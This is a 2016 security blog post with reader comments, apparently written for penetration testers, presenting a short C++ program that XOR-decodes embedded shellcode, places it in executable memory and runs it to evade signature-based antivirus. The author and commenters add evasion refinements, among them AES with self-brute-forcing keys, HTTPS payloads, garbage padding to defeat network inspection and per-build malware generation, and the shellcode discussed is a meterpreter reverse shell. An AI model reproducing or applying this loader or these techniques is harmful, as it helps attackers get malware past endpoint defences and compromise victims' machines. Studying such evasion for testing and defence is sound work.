Monday, March 14, 2016

Bypassing Antivirus With Ten Lines of Code or (Yet Again) Why Antivirus is Largely Useless

I had originally set out to write a long winded blog post on different antivirus bypass techniques. I went through what was supposed to be step 1 of my guide and uploaded my resultant binary to virustotal. To my complete and utter shock, the binary got a 0/56 detection rate. I decided to throw out my long winded idea and move forward with this quick, dirty, and unbelievably easy method.

I believe that most of my readers would agree with me that bypassing most antivirus based solutions is rather trivial, however I do occasionally bump in to some people who solely rely on tools that generate binaries that can easily be fingerprinted and flagged by antivirus solutions. This article is largely intended for that audience.

Before I dive in to this small tidbit of C++ code, I'd like to touch on a tool that is really good at producing binaries that almost always evade detection, Veil-Evasion (part of the Veil-Framework). This tool is awesome (many thanks to @harmj0y and others for creating and contributing to this awesome project) and in almost all instances I have had to use it has not let me down. If it has, I blame people who keep generating binaries and then testing them on virustotal. If you people could stop doing that, that would be great.

At any rate, this begs the question, if tools like Veil Evasion are so epic, why should you care about knowing how to slap togother a binary with a shellcode payload yourself? Well there are a number of reasons:

  • People get busy and tools become deprecated
  • The binaries generated by tools become fingerprintable; not the payload necessarily, but the compiled structure of the binary.
  • As a penetration tester, you should really know how to do this. Ups your leet cred.. or so I hear.
Before you take a look at the below code, it's worth noting that this is targeting the windows platform; as obviously noted with the reference to windows.h ;)

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
 char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
 char c[sizeof b];
 for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
 void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, c, sizeof c);
 ((void(*)())exec)();
}

Quite simply, the above code creates a character array with shell code you can add, performs an XOR operation with the incredibly sophisticated key of lowercase 'x', allocates some memory, copies the character array in said allocated memory, and executes it. It may be worth highlighting that you will need to XOR your shellcode with your key of choosing (in this case 'x') before you put it in the above code and compile.

So you are probably looking at that and thinking 'really?' - I know how you feel. This is how I felt after I intended this to be step 1 of my tutorial and I ran it through virustotal and it returned 0/56 detection. I'd like to stress that this is an incredible simple and most basic technique, yet its success is still rather astonishing.

I originally wrote this example and tested it on virus total a while ago, but I did reanalyze the executable on virustotal at the time of publishing this post and found it still had a 0 detection rate.












The binary you generate will very likely not match the SHA256 of the binary I have tested; the binary I uploaded contained shellcode generated with the metasploit framework.

Final Comments

Alright, so antivirus is dead. We all know that. That being said, we can't argue that over 95% of organizations are still depending on antivirus to protect endpoints. 

Is there a better way? certainly. A number of vendors, which I shall not name, have launched products that take a new approach to protecting endpoints primarily focusing on identification of known exploit techniques. This is usually performed by way of injecting DLLs in to processes that will monitor for these known techniques and prevent the exploit from working successfully. 

Is this fool proof technique? I would be inclined to say no. The bar will be raised, but a new type of cat and mouse game will begin.

Final note: The above may not work on _all_ antivirus solutions. I figure that was obvious, but thought I would mention it before the pitch forks come after me!

Edit (3/17/2016): Wow. This post blew up a lot more than I intended it to. Please bear in mind that this article was targeted at penetration testers. The goal was to demonstrate an extremely simplistic signature based AV bypass technique. I didn't point out 'signature' as I assumed it was obvious that heuristics capabilities would very likely pick this up - although it really depends on your payload more than anything else. I don't advocate using this technique over infinitely more sophisticated implementations that can be found in Veil-Framework or Shellter. Think of the above code as a template - get creative - make the encoding routing more complicated - maybe implement encryption with key bruteforcing? then maybe add some prime number generation at the get go to throw off heuristics if you want to be fancy. Use payloads that communicate over HTTPS as well. Sky's the limit - this was just a super fundamental example.

51 comments :

  1. So the shellcode you place in there must be pre xor'ed with 'x' so that the code xor's it back to usable shellcode right? Another obvious question, was the shellcode detectable before you simply xor'ed it?

    ReplyDelete
    Replies
    1. Yes, absolutely. The shellcode must be pre XORd with the desired key. And yes, the shellcode I used was a standard meterpreter shellcode for reverse TCP that was not encoded with anything fancy. It was detected by almost all AV on virustotal.

      Delete
    2. This works for balloon executables not just shellcode, and why would anybody wants to protect shellcode into exe?

      http://hackforums.net/showthread.php?tid=5197517
      http://hackforums.net/showthread.php?tid=5168562

      Delete
  2. The other vendor you talk about that does DLL injection -TRAPS... It only works on .pdf and MS office filetypes. That's it! A straight up .exe will pop on their endpoint just the way you created this one.

    ReplyDelete
    Replies
    1. That is one of them - but so is (for example) EMET and it works on binaries. :) I'm not sure if that solution does more than pdf and office filetypes, but I believe that it does.

      Delete
    2. Traps works on binaries for exploit detection, I'm currently doing deployments and testing and can vouch for this. Wildfire analyses unknown binaries and can be they can be blocked by default until a verdict is given.

      Delete
    3. You're assuming the end point is on the network with Wildfire. What happens if it's a laptop off network? Also, my issue with Wildfire AND Traps is that their vendor recommends you do application white-listing for it to work. I've been popping boxes left and right with Traps running, using basic Metasploit binaries. No detection. :-/

      Delete
  3. It's these little moments that have convinced me that, as the Symantec exec said famously, A/V is thoroughly dead. When the silliest things work, you know that the barrier of entry is low enough that anyone can get in.

    My favorite one is some of these network threat protection features that watch network connections and do some "layer 7 analysis". Send a payload, it kills the socket when it detects a meterpreter. So I made a shim and custom stager that sends over 64k of random garbage, and then sends the meterpreter payload. A/V gets tired easily, and gives up every time.

    A simple XOR is terrible crypto, but it's "good enough" because A/V isn't going to try all XORs on every substring of every EXE to match signatures. And even if it did, then do a two-byte XOR, etc. The first rule of A/V bypass is to do something that you know A/V isn't willing to do.

    ReplyDelete
    Replies
    1. XOR isn't for encryption in this use case, it's for obfuscation.

      Delete
    2. Hay Josh, That sound sick. Is there any way if you could explain or demonstrate using an example? Really wanna try this.

      Delete
  4. That's pretty bad but since AV are signatures based this isn't totally unexpected (hence your research) but using a behavior based detection like sandboxing or auditing this should be obvious, right ? Any recommendations on a se-linux like level of audit for windows systems?

    ReplyDelete
  5. The virus total scan is from 10-2-15. What are the results of a rescan today?

    ReplyDelete
    Replies
    1. As stated, a reanalysis was done at the time of publishing this post and the results were the same.

      Delete
  6. So the antivirus could not find anymore the payload because you encrypted it.

    Maybe I am being silly, but it seems reasonable to me: Trying to do static anlysis of C code to identify all the possible custom encryption mechanisms seems a hard problem.

    ReplyDelete
    Replies
    1. Yes but the point is that AV are useless. It's like having a heavily reinforced steel door as protection of which you can simply walk around to get in.

      Delete
  7. I would like to see tools like Lastline in the scan. VirusTotal doesn't use them. If you give me the binary I can paste the result from the lastline scanner I have access :P.

    ReplyDelete
  8. This is only a signature detection fail. VirusTotal does not include behavioral or heuristic scan, and both will show that there is something wrong with this file.

    ReplyDelete
    Replies
    1. Gotta love how this comment went ignored.

      Delete
    2. Has not been ignored friend. :) I've been busy. The article was aimed at intro to AV bypass, focusing on signature detection. Bypassing AV armed with heuristics would not be as trivial, obviously. That being said, it's not that much harder. Maybe I'll address in another blog post in the future. :)

      Delete
  9. One argument for why keep A/V around is that in real-world day-to-day operations in an organization you still get many hits on your end-point devices from people who have tried to execute obvious and well known malware.

    So your less savvy users tend to get some help from the A/V even though they should have caught the obvious in the first place.

    ReplyDelete
  10. So if it's really that easy to fool an antivirus, why all the malware makers aren't applying your tecnique and get always zero detection?

    ReplyDelete
    Replies
    1. Because once it starts to spread the A/V providers will catch wind of the new binary and then get the XOR'd binary's signature. Most companies have their A/V updated every few hours so within a day or so A/V will catch the binary. Thus begins a cat and mouse game of how fast can folks provide malware and how fast can A/V catch it.

      This'll work for directed attacks but not really for hit as many hosts in the world as you can.

      Delete
    2. Why not, then, have multiple (or hundreds) of versions, or make it polymorphic? Cracking XOR "encryption" is fast, simple give it a random, short key that has to be cracked.

      AV engines will either have to spend as much time as you cracking the "encryption" on every single file, or have hundreds? thousands? of signatures just for your malware.

      Delete
    3. This was intended to show a very simple and fundamental approach. You could absolutely implement AES, encrypt the shellcode with a simple key and then embed a decryption routine within the binary that just brute forces itself. This, in my testing, has been effective against a number of heuristics based AV engines.

      Delete
    4. Actually, most malware makers are making a shift towards generation time fuds anyways. That's why there's a push for better heuristics from anti-virus/anti-malware tools.

      PS: generation-time fuds are almost a requirement now, but aren't reasonably considered fully undetectable (fud). It's possible to catch them. But runtime fud applications will be the best big push. Very few malware authors are doing this these days. Short and sweet, wrapper can be whatever -> code to run is generated at run time -> runtime code is unique to the generation. This is the real fud.

      Also, don't tell people who buy malware commercially of this problem. They might realize they're being scammed with "___ RAT COMES WITH REAL FUD OPTIONS!"-type offers.

      Delete
  11. Thank you for this article. I managed to get a standard metasploit shellcode loaded and executed with the little piece of C code you provided but I had to remove the XOR decoding piece. The reason is: how do you xor encode with a key of your choice a shellcode ?

    I couldn't find a way to do it with msfvenom or Veil-Ordnance...

    ReplyDelete
    Replies
    1. I left this part out on purpose as an exercise for the reader. Python is your friend. :)

      Delete
  12. The good old Virustotal detection fallacy. You know Virustotal covers this in their About section?

    https://www.virustotal.com/en/about/

    Search for the keyword "BAD IDEA"


    ReplyDelete
    Replies
    1. I have tested this approach manually on 10 AV solutions in my lab as well.

      Delete
    2. This comment has been removed by the author.

      Delete
  13. Good grief...listen to all haters. I do this for a living and I can assure you that if it passes virus total, it will bypass whatever AV the target company has in place. Exception: app white listing in the case of exe's but that isn't hard to get around

    ReplyDelete
  14. > If it has, I blame people who keep generating binaries and then testing them on virustotal.


    Don't you think it's more likely that maybe the guys at VirusTotal are capable of doing this themselves, and at a much larger scale? ;)

    ReplyDelete
  15. I checked this sha on Virus total and it appears to be a 64-bit binary.
    The low detection rate is there most probably thanks to this fact and not because of this old technique.
    You should have mentioned that in your article... ;0)

    ReplyDelete
  16. Very nice, thanks for sharing. Looks like your file is now at 1/56.
    https://www.virustotal.com/en/file/acf5823b5f7fa876a80ad696717b91331820a96c0cbf997bde1211602b2457fd/analysis/

    ReplyDelete
    Replies
    1. No surprise. This isn't a technique that will work forever. That being said, trivial modifications to the above code would get it back down again (with sig based AV).

      Delete
  17. Hi, I am wondering why your file was not picked up by Virustotal after a week or so went by? I thought files were checked by the AV companies or something similar? So I am assuming that I am wrong but idk. Please reply, thanks.

    ReplyDelete
  18. In las year I published Apoc@lypse: The End of Antivirus. With one line we can do all antivirus kill itself.
    See Spring 2016 edition of Cyber Security Review. We can baypass all AVjust using DOS inside Windows.

    ReplyDelete
  19. Thank's for this short & interesting article.
    I'm may be overestimating A/V but: Is they any chance that an A/V performing some real-time analysis could detect the "deciphered/clear" payload in memory (during memcpy or while calling "exec") ?

    Regards.

    ReplyDelete
  20. Sounds interesting ,anyway it never gonna lost longer.....

    ReplyDelete
  21. antiviruses are just dumb bloatwares to me...

    ReplyDelete
  22. for AV is easy detect crypto exe and sign that as potentionally dangerous ...

    ReplyDelete
  23. I've finally had some time to test it and well... virustotal 13/57 and instant detection in Windows 10. Repository: https://github.com/hvqzao/evadeav

    ReplyDelete
  24. VERSIÓN TRADUCIDA EN ESPAÑOL >>> https://www.facebook.com/HackingLatinoamerica/photos/a.619843948128536.1073741828.602750026504595/963332217113039/?type=3&theater

    Great article Mr. EVΛSⅠVƎ
    Thanks to hvqzao for your repository

    ReplyDelete
  25. If I want to use this for a custom executable not metasploit shellcode how can I do that?

    ReplyDelete